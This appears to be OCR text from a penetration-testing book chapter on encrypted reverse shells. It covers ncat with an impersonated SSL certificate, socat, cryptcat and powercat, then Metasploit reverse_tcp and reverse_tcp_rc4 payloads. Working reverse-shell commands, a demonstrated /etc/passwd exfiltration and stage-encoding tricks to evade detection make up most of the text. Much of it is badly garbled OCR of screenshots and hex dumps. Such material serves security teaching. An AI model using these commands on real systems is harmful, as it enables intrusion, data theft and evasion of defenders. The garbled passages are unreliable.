00100 781c 29% 592d bach ccha be52 b212 1891 x.).Y-.....R....
0x0110:  4cbb 5100 e31a 480d 5200 33dd eB%2 0288 L.0...H.R.3.....
0x0120: 7100 3007 221c 4al7 fe38 839¢ 770 652 q.p.".J..B...pnR
0x0130: <570 bed8 d5c3 fd9a 6426 a2e? €372 0821 p..... Rl
00140 6927 8b0 Ocdd ddac 5629 9252 Jedd cdff 1.6 )R,
B0150:  bdd5 aefb 2f24 7638 6ab9 ccbe ched ea? ...f/88).....x,
00160:  093b 4a50 Ifba 6af8 Oef7 7cdd 6589 £341 .;12..7...0.e. A
00170: 5030 a8b7 7dcb 655 de3b 3300 2089 40f 20..1.l.;3. 4.k
0x0180: b7 dadé 660e 3260 a264 Sfle S7a0 S00d .{..f.2j.0..W.P.
0x0190: 0936 b




As you can see in the preceding screenshot, the communication between the
attacker machine and the victim machine is encrypted! Is there any issue with
using the default settings of ncat? Yes, there is! The SSL certificate in use shows
that the certificate was automatically generated by ncat. A network administrator
can detect the presence of ncat on their network by looking at the SSL certificate:






To solve this problem, we can use a custom SSL certificate. Let's use an SSL
certificate that we impersonated from nttps://www. packtpub.con/ (SSL impersonation
will be discussed later in this chapter):

ncat -1 8080 --ssl -v --ssl-key /Users/Harry/.msf4/loot/20180819233217_default_83.166.1¢€

ReZonb13eke:~ HarryS ncat -1 8080 --ss1 -v --ssl-Key /Users/Harry/.nsf4, Loot/ 201808192332
17_default_83, 166,169, 231_sw packtpub. com_525575. key --ss1-cert /Users/Harry/ msf4/loot/Z
0180819233217 _default_83. 166, 169.231_ww. packtpub. con 931116, crt

Ncat: Verston 7,60 { https://map.org/ncat )
Ncat: Listenng on ;8080
Ncat: Listentng on 0.0.0.0:5080

When the victim machine tries to connect back to the attacker machine, the
impersonated SSL certificate from nttps://www.packtpub.com/ is used:

xXxZombi3xXx:~ Harry$ ncat 192.168.0.110 8080 --ssl -e /bin/bash -v

Ncat: Version 7.60 ( https://nmap.org/ncat )

Ncat: Subject: CN=*.packtpub.com, (N=*.packtpub.com

Ncat: Issuer: C(N=*.packtpub.com, (N=*.packtpub.com

Ncat: SHA-1 fingerprint: C9E6 (615 BZAC ZBF5 3(B9 D@E4 3D1A E98C D4E1 8D61

Ncat: Certificate verification failed (self signed certificate).
Ncat: SSL connection to 192.168.0.110:8080.
Ncat: SHA-1 fingerprint: C9E6 (615 BZAC 2BFS 3(B9 DOE4 3D1A E98C DAE1 8D61

Let's check the tcpdump trace for the SSL certificate:


https://www.packtpub.com/
https://www.packtpub.com/

P
0
o

7]

—

—

(@)

o

o

=

95]

w0
or—

)
o r—
—

gv]
=

—

wn
or—

wn
or—
=
]
4

3

@)
0

ge]
-

—

ge]

B
—

n

v
0

<9}
=
—
—

=3
0

)

@]
=

@]

[v]

Y

o
o

(@)

o
o0

wn
o=

=

@

USng nc




Windows. So, what if socat is installed on the target server instead of ncat? No
problem!



Encrypted reverse shell using socat

socat 1 a utility tool, just like netcat, that supports communication using different
protocols as well as through files, pipes, and sockets with forking, logging, and
dumping for interprocess communication. In short, this tool can be described as
Damn Innovative!

We can check whether or not socat is installed on the target server using the
following command:

|which socat

~ — harry@Fuzzer0s: ~funix — nc -lv 8000 -u
$ which socat
Jusr/bin/socat

$

Let's start the encrypted listener on port seee using the following command on the
attacker machine:

| openssl s_server -quiet -key key.pem -cert cert.pem -port 8000



000 A Harry = harry@Fuzzer0; « = -bash — 14335
« — hatry@Fuzzer05; ~ —-hash « —hatry@Fuzzer0S; ~ — ssh hamy@192.168.2.14
kxZonb13¢kx: Harey$ openssl s_server -quiet ey key.pem -cert cert.pen -port 8000

Execute the following command on the victim machine for a reverse shell
connection:

| socat exec:'bash -1i',pty,stderr, setsid,sigint, sane openssl-connect:192.168.2.6:8000, key

(1 Aoy~ 05« @001 40
=g 5 -~ -fe = e« S am@raL R =gl

6 0t et -1ty tde, et sgin, one penssl-Comect 7,160,200y SHONE cet e, e




Upon successful execution, a reverse shell will be popped on the attacker
machine:

() | Harry — harry@Fuzzer0S: ~ — openssl 5 server -quiet -key key.pem -cert cert.pe

. 26705; = — opensel s Srver uiet -key ey pem -certcert pem -port 000 ¢ « = nary@Fuzzer05: = — ssh harry@192.168.2.14
xkeZonbi3ekx:~ Harey$ openssl s_Server -quiet -key key.pem -cert cert.pen -port 8600
bad gethostbyaddr

i

Let's try to execute the id command:



i ey = e« = opensl e -ty eype -<at et e o BO00 = 143435
S SR {1y e et cemoem-fon MO0 congRuzze: oy - ssh @R RZIE < hyBRunce - sh @R B4 48
AR oy opensl < Semer -Gt -V ey -Cort cort e ort B
00 gethsthyont
Rl

I
01000 o) 1000 hrry) o< one), o) 24 coro), 27, 0 ), 6 L) 15 oot 28 smpughoe)

As we can see in the following screenshot, the output is encrypted:






If we don't want to use SSL at all, we can always try cryptcat. This supports
encrypted communication using the twofish cipher algorithm.



Encrypted reverse shell using
cryptcat

cryptcat iS a tool based on netcat that is enhanced by twofish encryption. Download
the tool from http://cryptcat.sourceforge.net/ and untar it. The fOHOWng file resides
in the cryptcat directory after downloading it:

) Hatry = harry@FuzzerO: ik — ssh hamy@192.166.2:14 — 143
= —Tsfeonsole « = Namy@Fuzzer08; «{unix — ssh harry@192.168.2.14 «[Donloads — pythn -m

/UMD 8
(hangelog Mokeftle README.cryptcat fomScrypt.h generich — netcat.c  tuofish2.h

(redits ~ READNE  fomdcrypt.cc  famScrypt.o netcat.blurd taofish2.cc tuofish.o
/Ui

We need to build the package using the following command:

| make 1inux


http://cryptcat.sourceforge.net/

(Ml ) Hary = ey @Fazer05: fun— sh R @I02168 214~ 14338
<= sfeansole = Ray@FUzzar0: » s — seh harmy@1GL. 6814 <[Ionnloads — python -m SmpeHTPSener

§ ule
lsage: make systypes [options]
§ ke iy
AFLACSS"-DLTNUK" STATIC=-stafc |

MPHMW
=" stdcss

mMH Entering durectoy */hone/harey/ iy’

(C-0-5 -DGAPING SECIRTTY_AOLE -DLTMIK -Static -0 crypteat nekcet.C Fomdcrypt.o biofishl.o -lstacss

metcat.c; In function "holler',
netcat, C207:2: voroiog: fomat not a steing Literal and no fomat orquments [-Homat-Securty]
fovintf (stderr, b_errs[h.ermo])s /* hndle 1t fere ¥

metcat.c; In finction "batl':
tetcat. CI27:3: tplictt declaration of function "close” [Himplicit-function-declartion]
close {etfd):

A binary file named cryptcat will be generated in the same directory, as follows:



" Moty — hary@FazerCS: « unk - sh ey @102.168.214 — 14336

<= Mnefconsole = Py @FUzzer0S: <k —seh hamy@ndL 68 214 +/Doinioads — python -m SmpleHTTPSrver
/it 1§
(angelog okef1le REATNE.crypteat fomdcrypt.cc fomdcrypt.o nefcat.blurd taofishl.cc taofisnl.o
(redits ~ README fomdcrpt. qenerich  mefcot.c  taofisn
1 Ii2h

Let's execute this file using the following command, which allows us to check
the help screen:

| .7cryptcat -h



Harry — harry@FuzzerQS: ~unix — ssh harry@192.168.214 — 143x36
« = nsfconsole « = Narry@Fuzzer0S; «funix — ssh harry@192.168.2.14 «[Downloads — python -m Simpl
§ Jonypteat -
[v1.10]
connect to Sonehere:  nc [-options] hostname port(s] [ports] ...
Listen for nbound:  nc -1 -p port [-options] [hostname] [port]
options;
£ rog progran £0 exec after comect [dangerous!! |
-{ qutenay source-routing hop potnts], up to &
-G num source-routing potnter: 4, 8, 12, ...
8 this cruft
- secret set the Shared secret
-1 588 delay tnterval for Lines sent, ports scanned
-| Listen mode, for tnbound connects
| numertc-only P addresses, no ONS
-0 file hex dum of traffic
- port local port munber
il randonize local and remote ports
-§ qddr local source address
ol UDP mode
-y verbose [use twice to be more verbose]
W S(S timeout for comnects and final net reads
-7 26r0-1/0 mode: [used for scanning]
port nurbers can be tndividual or ranges: lo-h1 [inclusive]

$




This is the same output that netcat would generate with only one more option
added to it; that is, the -k option. This will be the shared secret for twofish
encryption.

Let's start the listener on the attacker machine with the shared secret set to
harry123 through the following command:

| .7cryptcat -lvp 8600 -k "harry123"

000 Harry — harry@Fuzzer0S: ~/unix

~— mefconsole ~— harry@Fuzzer0S: ~{unix — ssh harry@192.168.2.14

1% Jerypteat -lup 8000 -k "harryl23"
[1stentng on [any] 8300 ...

Our listener is ready for incoming connections. Now let's execute the following
command on the victim machine:

|rm -rf /tmp/a; mkfifo /tmp/a; ./cryptcat 192.168.2.14 8000 -k "harry123" 0</tmp/a | /bir



F. 0 My = BP0, o U = s D100 GAL. 4 = 43136
i D= b oS - ShBIELY S - N 4
Pz 0§ m -+ i o s Jcptct 0068200 60D - o2 Ot | o sh /o 2485 m gl

0 cryptcat needs to be delivered to the target server for execution.

Upon successful execution, a reverse shell will be popped on the attacker
machine. Let's execute the id and uname -a commands here:



Ml Moy Imx s BI040 -t

o~ el e AT e A O T

§./crptcet -ip 600 - hoy1 3

Lstanng on [y 800 ..,
L92068.2.14: merse dust Lok fle
comect to (192,168,214 From (OWACH) (192,16
I
D000 hrey) 00N are) o000y, 4, 24 o) 27 o), ), 60 o) L1 oo, 28 Sonnoe)

Inken host
QL.168.2.14] S0

e
Lt Fuzent§ 4.40-26-Gmeric #154-Uhunt SHP Fry oy 25 140458 TC 2006 1689 1666 1689 GHI i

On the tcpdump trace Terminal, we can see that the communication is encrypted:



Harry = root@Fuzzer0S: fhomefharry — ssh harmy@102.168.244 — 14336

«—Mmsfcansale «—amy@FuzzerS: ~funx—sh hamy@I9206820 hamy@Fuzzer(S: «{unik— sch harry @192, 168214 AFuzz8r0: fhomefhaimy — ssh hamy@192168.204 ‘Jr

0:050:  f669 il
205445, 376501 TP 192.168,2,14,8000 > 192.168,2.14.52078: Flags [P.], seq 36:52, ack 159, win 342, options [nop,nop, TS val 1182446 ecr 1178964
1, length 16

(A000: 0000 0030 00oa 060 0000 0000 0900 4500 .............. E,

0010: 0044 %032 4000 4006 1015 clad 02e chod D.28.G.........

02020:  020e 1740 chbe c3ba 62cd 480l 369d 8018 ...0.n..b.H.7...

0x0030: 0156 8503 0000 4101 0800 0012 foee BO1L V..vvivirin,

0ul0A0: fd54 6c13 See q286 8211 5062 doch 6985 TLK.....P...1.

0050:  £405 %
20:54:45. 415758 TP 192.168.2.14.52078 > 192.168.2.14.8000: Flags [.], ack 52, win 342, options [nop,nop, TS val 1182456 ecr 1182446], length 0

(A000: 0000 0030 0a0a 060 0000 K000 0900 4500 .............. E,

00010: 0034 c780 4000 4006 eddd cdad 02e chob 4, .B6.........

00020: 020e cobe 1740 4801 369 c3ba 62dd 8010 ...n.EH.7...0...

0x0030: 0156 8593 0000 4101 030a 0012 0af® 0012 V......vv.n,

OxM0:  Dee i
20544541578 TP 192.168,2.14,8000 > 192.168.2.14.52078: Flags [P. ], seq 52:69, ack 159, win %42, options [nop,nap, T val 1182456 ecr 118245
], length 17

(000: 0000 0030 060q 0600 0000 0000 0800 4500 .............. B

0x010: 0045 %33 4000 4006 1013 clad 02e chod LE3RG.........

00020: 020 1740 chbe c3ba 62dd 480l 3f%d 8018 ...0.n..b.H.7...

0x0030: 0156 8504 0000 4101 0300 0012 0af8 012 V...vvvivwn,

0x040:  Quf8 9cf7 aalc 8c5 dc7d Bk 207 aced ... V", .

0x2050: a2 b ol
20:54:45,415899 TP 192,168.2,14.52078 > 192.168..2.14.8000: Flags [.], ack 69, win 32, aptions [nop,nap, TS val 118245 ece 1162456], Length 0

(000: 0000 0030 060q 0600 K000 0000 0900 4500 ........uu., E

0:0010: 0034 <781 4000 4006 edd5 cdad 020e chof 4..B8.........

00020:  020e cobe 1740 4801 369 c3ba 62ee 8010 ...n.EH.7...0...

0x0030: 0156 8593 0000 0101 0300 0012 0af8 012 V......ev.n.,

0i040: off i
205448, 44169 TP 192.168,2.14,8000 > 192.168,2.14.52078: Flags [P. ], seq 69:85, ack 159, win 342, options [nop,nap, TS val 1183212 ecr 11624%
1, length 16

(000: 0000 0030 060d 0000 0000 0000 0800 4500 .............. k.

0:2010: 0044 %34 4000 4006 1013 cdad 020e chod .D.4R.G,........

00020: 0200 1£4D chbe c3ba 62ee 480l 3% 8018 ...8.n..0H.2...

0030: 0156 8503 0000 4101 0800 0012 Odec BO12 V.vvviviriunn,

0x040: Quf8 dldc Gefb 5280 2eed 3200 332 4689 ......R...2. 40,




Let's execute the cat /etc/passwd command to retrieve the passwd file in Linux:



Harry — harry@Fuzzer0S: ~funix — ssh harry@192.168.2.14 — 143x36

~— msfconsole ~ = harry@Fuzzer0S; ~funix — ssh hamy@192.168.214 . hamy@Fuzzer0S: ~funix—ssh harry@192.168.2.14 . \@Fuzzer08: fhomefharry —
; § ./cryptcat -1vp 8000 -k "harryl23"
istening on [any] 80A0 ...
192.168.2.14: inverse host Tookup failed: Unknon host
connect to [192.168.2,14] from (UNKNORN) [192.168.2.14] 52078
1d
uid=1000Charry) gid=1080Charry) groups=1080(harry), 4{adn), 24(cdrom),27(sudo), 30(dip), 46(plugdev), 113(padnin), 128(Sambashare)

unare -q

Linux FuzzerS 4.4.0-128-generic #154-Ubuntu SIP Fri Moy 25 14:14:58 UTC 2018 1686 1686 1686 GNU/Linux
cat /etc/possad

root:x::0:root: /root:/bin/bash

daemon:x:1:1:daemon: /usr/sbin: /usr/shin/nologin
binsx:2:2:bin:/bin:/usr/shin/nologin

§yS:X:3:3:8ys:/dev: /usr/shin/nologin

syncey:4:65534:sync: /bin: /bin/ sync

qames:x:5: 60 games: /usr games: /usr/shin/nologin

man: %:6: 12:man: /var/ cache/man: /usr/sbin/nologin

[pex:7a7: Ip: fvar/spool/ 1pd: /usr/sbin/nologin
mail:x:8:8:mail:/var/matl:/usr/shin/nologin

news:X:9:9:news: /var/spool/mews: /usr/ sbin/mologin

Uucp: s 10: 10:uucp: /var/ spool, ucp: /usr/shin/nologin
proxy:x:13:13:proxy: /bin: /usr/sbin/nolegin

wa-data: 33233 wm-data: /var/waw /usr/shin/nologin
backup:x:34:34: backup: /var/backups: /usr/shin/nologin
[ist:x:38:38:Matling List Manager: /var/1ist: /usr/sbin/nologin

inC:x:39: 39 rcd: /var run/ trcd: /usr/shin/nologin

qnats:x:41:41:Gnats Bug-Reporting System (adwin):/var/ibfqnats: /usr/shin/mologin
nobody: :65534: 65534:nobody:  nonexistent: /usr/ sbin/nologin
systend-timesync::100: 102:systemd Tine Synchrontzation, ,, /run/systend: /bin/false
systemd-netuork: x: 101:103:systemd Netvork Management, ,, +/ run/systemd/netif:/bin/ false
systemd-resolve:x: 102: 104 systemd Resolver, ,,+/ run/systemd/resolve: /bin/false
systemd-bus-proxy: x:103: 105:systend Bus Proxy, ,,+/ run/systend: /bin/false
syslog:x:104:108: : ‘home/ syslog: /bin/false

_pt:x:105:65534:  /nonexistent: bin/false

messagebus: x: 106:110:  /var/ run/ dous: /bin/ false

Uutdds: 107: 101/ run/uuidds/bin/ false




Congratulations! We have just exfiltrated the 1inux passwd file using a secure
communication channel. Data exfiltration will be covered in further chapters.



Harry — rt@FuzzerCS: fomefhary — ssh hamry@192.168.244 — 14336
«—Mmefconsole = Natry@RUzze08: funiy—h bay@192088204. . hamyRRuzzer0: ofnik—ssh hamy@IORTBR2M  ABRuzzarOS fromehamy— s hamy@9LIBR2M |+
mwwm A port 8000 -1 1o |
wdmww%Mmmm
b WMWWWWM
8 Flags

Il
It Sippresse
\-type ENADIR (Et

':%%MWWHWI% B Flags [P.], seq 3263772085 3063772099, ack 1208527268, win 42, ontions [nop,hap, TS
1 ecr 1183212], Length 16

wx@)@@@: 0000 0000 3000 0000 00A0 000D 0800 4500 ..., E,

(u0010; 004 9D 4000 4000 1007 chob 020 chob 0.00.4,..,

O0020: 020 1140 chie cha 6317 4ol 4024 B 8wc$

0030: @156 §503 00 mm @8@0 0002 595 612 V.o I

Oe40: dec dhad 5Bt 8319 1280 010 4008 914b ... ]....u K., i

0l050: b A

21:36:05. 7236 1P 192,168, 2, 14,5078 » 192,168, 2,14, 3000: lons [nop,nop, TS vol. 1202533 ecr 12025%3], Length §

0e0010: 0034 c78e 4000 4006 edch chab
0e0020:  020e cobe 1140 461 4024 3o
d0030: 0156 859 000 0101 080 0412
el0ud: 595
20:56:05. 723662 TP 192.168.2.14.8000 » 192.168.2.14.52078: Flags [P.], seq 16:48, ack 1, win 342, options [nop,nop, TS val 1202533 ecr 12025%3],
length 32

O0000: 0000 000D 000 0000 0000 0000 0500 4500 +....vvvvu s E

WMWMW%M%WWTM

Dl0: 020e 174D chbe 3ba 6307 46l 4024 8018 ..., %

WM%MMMMM%MV ..........

O0dd: 5965 8e11 6700 bedp 1663 dbef 4942 %5af Ve, K

OeS0: 265 7244 0069 e57F dhc Yod b ebdd (B 1.

0ud0ed: 13
2L:56:05.7379 P
0d00n: 0
Ddlon: 0

2,168, 2, 10.5078 > 192,168, 2.4, \ Wi 342, options [nop,nop, TS val 1202533 ecr 1202533], Length 0
I |
I
Dud0a: 02
I
)

16
i
mmmwm
chbe 1140 4801 4024 b
De0m0: 015 859
Dudd: 5

b
)
0 4
b
§
I
4
4
b
)

l
J
)
J
5
b

W




For Windows users: if you are unable to run ncat.exe, nc.exe Or cryptcat on Windows, you can
always try powercat. However, this does not support encryption.



Reverse shell using powercat

powercat 1S a utility tool that is just like netcat but written in PowerShell with some
extra features, including the ability to send data over TCP, UDP, and DNS,
connection relays, and payload generation.

powercat Cdll be downloaded from https://github.com/besimorhino/powercat.

To make a start with powercat, we need to import the powercat.ps1 module into
PowerShell. (Luckily, I have installed PowerShell on my macOS). We can only
see the powercat command after we import the module:

000 powercat — harry@Fuzzer0S: «{unix — powershell
xhxZonb13xKx: posercat Harry$ posershell

Powershel |

(opyright (C) 2016 Microsoft Corporation. ALL rights reserved.

PS /Users/Harry/ponercat> . ./powercat.psl

PS /Users/Harry/ponercat> pose
powercat.psl  powercat DoRermetrics  powershell  poser_report.sh
PS /Users/Harry/powercat> posercat

Let's execute the following command in order to bring up the help screen:

| powercat -h


https://github.com/besimorhino/powercat

powercat — harry@Fuzzer0S: «{unix = powershell -

%Mm%w@wmpm
Dosercat.psL  posercat posemetrics  posershell — power_report.sh
PS' lsers Harry! posercat> powercat -1

posercat - Netcat, The Powershiell Version
Guthub Reposttorys REtps: //qrEhub. combestmorhino, posercat

This script attenpts to tplenent the features of netcat 1n o posershell
script. It also contains extra features such o butlt-n relays, exeaute
posershell, and a dnscat? client.

Usage: posercat [-C or -1] [-p port] [aptions]

¢ <p> Client Hode, Provide the IP of the system you wish to comnect to,
IF you are ustng -ans, specify the DNS Server to send queries to,

| Listen Node. Start o Listener on the port spectfiad by -p.
0 ort> Port., The port to comnect to, or the port to [isten on.

& qroc- brerute, Spectfy the nane of the process to start,

0] Erecute Powershel L, Start a pseudo posershell sesston, You can

declare variables ond execute comands, but 1f you try to enter
nother shell (nslookup, netsh, t)hhHWMw

1337




From here onwards, we can use this module just like a normal netcat.

Why should you stick with a simple command reverse shell when you can do so
much more? Without the great Metasploit, a reverse shell is no fun at all! Let's
use Metasploit payloads to get reverse shells, and we will then go into more
detail with this so that we can use the payloads carefully.

Metasploit can be used to generate different reverse shell connection payloads.
The most common of these is the reverse_tcp payload.



reverse_tcp

A Windows-based reverse_tcp payload can be generated using the following
command:

msfvenom -p windows/meterpreter/reverse_tcp lhost=<local IP to get reverse connection or

f ey IIIFTWIFW

Once the payload is generated, we need to start the listener. This can be done by
executing the following commands:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost <local IP to get reverse connection on>

set lport <local port to listen for reverse shell connection>

set exitonsession false <This is used so that the handler doesn't exit once the reverse
run <It's better to use run -j to background this job>



explod tf )0
exploit] ) ® set payload windows/meterpreter/reverse_tcp
ad =* windows/meterpreter/reverse_tcp
%ploit( } & set Lhost 192.168.2.6
af == 192.188.0.6
%ploit( } ® set lport 1337

t =x 1337

xploitf ] ® set exitonsession

* Fun

The listener is started on the attacker machine. Let's execute the payload on the
target server:
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Upon execution, as we can see, the target server connects back to port 1337 using
its local port 4927s:

£ ot R) PRO/L00D M Desktop Adapter: Local Area Connection !E“@-H_ﬁl

150 |BREQes2TISEQQRE

‘ tep.detport == 1337 ﬂ ¥ | Expression... +

fo. Tie: Source Destination Protacol  Length Info i’

rﬁmMMMZ 192,166,214 192.168.2.6 T(P GHWhHﬂWMmﬂMﬂMLG
6192 61426439 192,168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=l lin= |
6207 61451359 192.168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=2925 I 1
0200 61.453029  192.168.2.14 192.166.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=10225 . |
b1l 61485246 192,168,214 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=13145 . 1
b2l5 bl 488168  192.168.2.14 192,168.2.6 TP 54 49275 - 1337 [MCK] Seq=l Ack=17505 -
6219 61456301  192.168.2.14 192.166.2.6 T(P 54 49075 - 1337 [ACK) Seqe] Ack=219%5 .
0223 61,4885  192,166.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=26285 .
6227 61491435 192,168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqe] Ack=30665 .
6233 6145445 192.165.2.14 192.166.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=37965 .
6239 61.4%0%0  192,168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqe] Ack=45265 .
6243 61496336  192.168.2.14 192.166.2.6 T(P 54 49075 - 1337 [ACK) Seqe] Ack=49645 .

! 0245 61496882  192.168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqe] Ack=55485 .
0255 61503551  192.168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=62785 .
0259 61.5¢3721  192,166.2.14 192.166.2.6 T(P 54 49075 - 1337 [ACK) Seqel Ack=67165 .
b26] 61504213 192,168.2.14 192.168.2.6 T(P 54 49075 - 1337 [ACK) Seqe] Ack=70085 .
b266 61564299 192,168,214 192.168.2.6 T(P 54 49075 -+ 1337 [ACK) Seqe] Ack=7H465 .

Our handler just got a connection request from the target server and now it
continues by sending the second stage payload to the server. If everything goes
well, you'll see a meterpreter session opened message, as shown in the following



screenshot:
Fexploit( ] # set exitonsession false

] ®run

2,166,2.6:1337
& 5 4

HEtErp;EtEr session 4 nﬁEnEﬂ (192,168.2.6:1337

-+ 192,168,2,14:49275) at 2018-07-28 16:03:36 +0530

We may now be thinking, we got the reverse shell! We're 31337 (elite) hackers!
We did it! However, this is wrong. By doing this, we have just alerted the
organization of our little trick. Take a good look at the following screenshot,
which shows that the second stage delivered to the target server was an
executable PE file (DLL):

gaaagaaa
gaaaoaad
gaaaaald
gaaaoaid
gaaaaasd
gaaaoadd
gaaaaasd
gaaaoacd
gaaaoa7d
gaaaaasd
gaaaaasd
gaaaaasd
gaaaaasd
gaaaoacsd
gaaaaand
gaaaoaed
gaaaoard
gaaaalad
gaaaalld

43 he @2 @@

44 Ga =F 00 00 9@ @@ Sh
13 @@ @@ ff d3 81 <3 95
5a ff do @0 o0 4@ @0 0o
08 98 8o 90 a9 68 8 aad
@e 1f ba @e 00 b4 89 cd
69 73 20 7@ 72 of 67 72
71 20 62 €5 2@ 72 75 Ge
Gd 6f 64 65 2e Od @d @a
d6 df 8@ 2d 92 he ee Te
dd ef @f 7e hE he ee 7e
dd ef @e Te 16 he ee Te
ab c6 7d Te 83 he ee Te
af ec 31 Te 93 he ee Te
af ec 32 Te 93 he ee Te
52 69 63 68 92 he ee Te
00 98 6o 90 a0 68 88 aa
50 45 @a 9@ 4c @l &4 aa
g0 0@ aa 99 <2 @@ a2 21

52 45
ab @2
aa aa
aa aa
21 bi
6l &d
28 69
24 08
a1 he
d4 ef
a2 he
ab ch
af ec
af ec
aa aa
fa aa
cd 6l
@b al

55 §9 5 81 3 &4
@3 §9 3b 53 Ga B
g8 99 a9 o8 @ aa
g8 99 aa al @ aa
@1 4¢ cd 21 54 63
20 63 61 Ge Ge &f
fe 20 44 4f 53 2@
08 99 a9 o8 8 aad
ge 78 92 he e Te
3l 7e &5 be ee Te
ef 7e Ga bhe ee Te
6d 7e 93 he ee Te
@e 7e B¢ be ee Te
30 7e 93 he ee Te
g0 09 a9 @a a8 ad
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e3 Sa @9 08 @ @
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t be run 1n D0
151, ], SRR

When the payload (stager in our case) is executed on the target server, a second
stage request is made to the handler. The handler will blindly send the DLL



(second stage) to the target server, which can easily be detected by an
organization based on a few things that are sent over plain text:

e The PE executable header (MZ)
e The This program cannot be run in DOS mode strhlg

e The metsrv.d11 string and other strings that are the supported functions by

metsrv
What is metsrv?

In order to understand metsrv, you first need to understand how meterpreter
sessions are obtained. The following points describe the process that takes place
when opening a valid meterpreter session:

The handler listens for incoming connection on a given IP and port.

The stager (meterpreter payload) is executed on the target server.

The handler receives a new connection from the stager.

A connection is established back to the handler on the given IP and port by

the stager.

5. The handler generates the stage (metsrv.d11) followed by the configuration
block and sends a 4-byte block that represents the size of stage.

6. The stager reads these 4-byte sent by the handler and allocates a block of
memory with readable, writable, and executable (RWX) permission so
that metsrv can be written to the allocated block of memory.

7. The handler sends the payload to the stager (this is where you see sending
stage (XXX bytes) to X.X.X.X).

8. The stager then reads the stage (metsrv.d11) coming from the handler and
writes it to the allocated block of memory.

9. The stager then passes execution flow to the beginning of metsrv.d11.

10. metsrv patches the DOS header by loading itself into the memory using the
reflective DLL injection.

11. metsrv calculates the offset to the session configuration block (this block
contains the meterpreter configuration) and patches it so that metsrv.d11 can
use the socket that was already in use by the stager to connect back to the
handler.

12. metsrv, which was just loaded into the memory using reflective DLL

injection, executes the d11main() function and passes the execution flow to

the configuration block so as to take control over the communication.

=



13. metsrv is responsible for SSL negotiation on the socket (encrypted
communication). This is why, even after we get a reverse_tcp connection, the
communication is encrypted by default. metsrv starts SSL negotiation with
the handler for encrypted communication.

14. The handler waits for a valid meterpreter session to be opened. A valid
meterpreter session is only valid if the following things are true:
e The SSL negotiation with metsrv was successful
e Queries for basic system information were successfully retrieved
¢ Basic meterpreter modules, such as stdapi, priv, and so on were
successfully loaded and if they were not loaded, the handler loaded
these modules

While sending metsrv.d11 to the stager, the payload is not encrypted. This is why
an organization can detect it easily:



b4 0208 836 il

However, there is a way to hide the This program cannot be run in DOS mode
and metsrv.d11 strings so that the target organization cannot detect us. We can
either use the payload that offers encryption or we can encode the second stage
with any encoder of our liking. The latter option can be achieved by using the
following commands: set enablestageencoding true set stageencoder
x86/shikata_ga_nai



Started reverse

This is assuming that the settings for the handler are as described in the
following screenshot:

nst exploit ) show options

Hodule aptions (explott/multi/handler):

Name Current Setting Required Description

Payload options (indows/meterpreter/revarse tcp).:

Name ~ Current Setting Required Description

EITFHHI DroCess yes Bt technique (Acc ' 5eh, thread, process, none)
LOST 19016826 yes The [isten address
LPORT 4080 yes  The Listen port




The handler will first encode the second stage using the xse/shikata_ga_nai built-in
encoder in msf and send it to the target server:

9.168,2.6:51264) 3t 2018-08-15 26:49:34 #0530

As we can see in the following screenshot, the encoded second stage does not
have any of the aforementioned strings, which the target organization can detect
our presence from:



An alternative method to achieve this is by using a payload that offers
encryption. To do this, enter reverse tcp rca!



reverse_tcp_rc4

This Metasploit payload is a reverse meterpreter payload that has the same
functionality as reverse_tcp with only one difference: the stage in this payload is
encrypted with RC4 encryption before sending it to the target server. We can use
the following commands to generate a reverse_tcp payload with RC4 encryption
support: use payload windows/meterpreter/reverse_tcp_rc4 set lhost <local
IP to get reverse connection on> set Iport <local port to listen for reverse
shell connection> set rc4password <password> generate -t exe -f <output
file name>

:~ Harry$ cat revTcpRC4. rc
2 pa ‘load/windows/meterpreter/reverse tcp rcd
et HunLT 14' 168.2.6

L

=
=
=
B

i) |'|:| |'|:| |'|:| |'

In this scenario, we used Babasabaslacksheep as the RC4 password. Note that only
the second stage will be encrypted using RC4 encryption and not the stager. The
stager for reverse_tcp_rca is similar to reverse_tcp:



M5t payload ) > Show aptions

Modula aptions (payload/windowsimetarpreter/reverse tep rcd)

e (Urrent Setting — Required Description

L l. l-"| ’Hl—'ll Orocess, |I|[|F|
e Mm lHlP
The [1sten port
Passiord 1o derive RC4 key from

 generate -t exe - revicpRCe 8089, exe

» 18 eVl [ H

The handler should also have the same rc4 password so that the handler can
encrypt the second stage with RC4 encryption. The commands for setting up the
handler are as follows: use exploit/multi/handler set lhost <local IP to get
reverse connection on> set Iport <local port to listen for reverse shell
connection> set payload windows/meterpreter/reverse_tcp_rc4 set
rcdpassword <password> set exitonsession false run -j



mst payload( ) )
msf payload( ) > use exploft/multi/handler
msf exploit( ) » set lhost 192.168.2.6
lhost => 192.168.2.6
msf exploit( ) » set [port 8660
lport =» 4080
msf explottl ) » set payload windows/meterpreter/reverse tcp rcd
p+ lHid = Windows/ mwTwlerTHl reverse _tep red
I ) ¥ set redpassword Babababablacksheep

4nrd B BabaBababBlack Sheep
msf exploit( ) > et exitonsession false
exitonsesgion =» false
- explott ) > run -]
E ploTt running as hil% eround job 0,

Started reverse TCP handler on 192, 168.2.6: 8080
M ey ml,_J TI | )

As we can see in the following screenshot, the handler is up and running and
waiting for the stage request from the stager. When the stager is executed, we
can see the meterpreter session popping up:



ﬂl T |‘J‘ i rl 'l 0 .i 1_ I"‘

HH H[“[F (AT GACE] u“ l

nsf exploit( ) » Sssions -|

Information— Connection

'l EH‘ l 1 l“l

The encrypted second stage looks like this:



But what if the RC4 password is wrong? What will happen to the stager
executed on the target system?

To find the answers to these questions, let's set up a handler with an incorrect
RC4 password. In this case, we used Thisisawrongpassword as a password for RC4
encryption:



, . ayload windows/meterpreter/reverse T rcd
» W] Hduwh |HTH[“[HTH[ [eyerse T'P red
1t ) » set lhost 192.168.2.6

C R (et =
M | Y
[ S

) » set lport 8600

T > set rcdpassword ThisIsANTongPassword
'ibbwurd
